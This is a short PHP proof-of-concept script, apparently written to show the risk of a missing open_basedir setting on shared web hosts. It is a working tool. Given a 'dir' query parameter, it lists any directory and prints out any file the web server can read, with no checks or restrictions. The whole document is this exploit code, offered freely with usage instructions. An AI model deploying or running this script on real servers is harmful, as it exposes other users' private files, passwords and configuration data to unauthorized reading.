<?
// Author: Peter Keel <seegras@discordia.ch
// Proof on Concept why a missing open_basedir is bad
// License: Free. Public Domain
// Usage: has to be named phpdir.php. phpdir?dir=/home/whatever
	$curdir=$HTTP_GET_VARS["dir"];
	$curdir=$dir;
	if ($curdir=="") {
	    $curdir="/";
	}
        $what = filetype( "$curdir" );
    	    if ( $what == "file" ) {
		$FILE = fopen ("$curdir","r");
	     fpassthru($FILE); 
	     flush(); 
	} elseif ( $what == "dir" ) {
		$DIR = opendir("$curdir");
		while ( $text = readdir( $DIR ) ) {
            	    if (($text!=".")&&($text!="..")) {
                        $what = filetype( "$curdir".$text );
                        if ( $what == "file" ) {
                                echo "<a href=\"phpdir.php?dir=$curdir$text\">$text</a> ";
                                echo "<font color=green>", filesize( "$curdir".$text );
                                echo "</font> byte(s)<br>";
                        } elseif ( $what == "dir" ) {
                                echo "<b>[ <a href=\"phpdir.php?dir=$curdir$text/\">$text</a>  ]</b><br>";
                        }
            	    }
    		}
	    }
?>
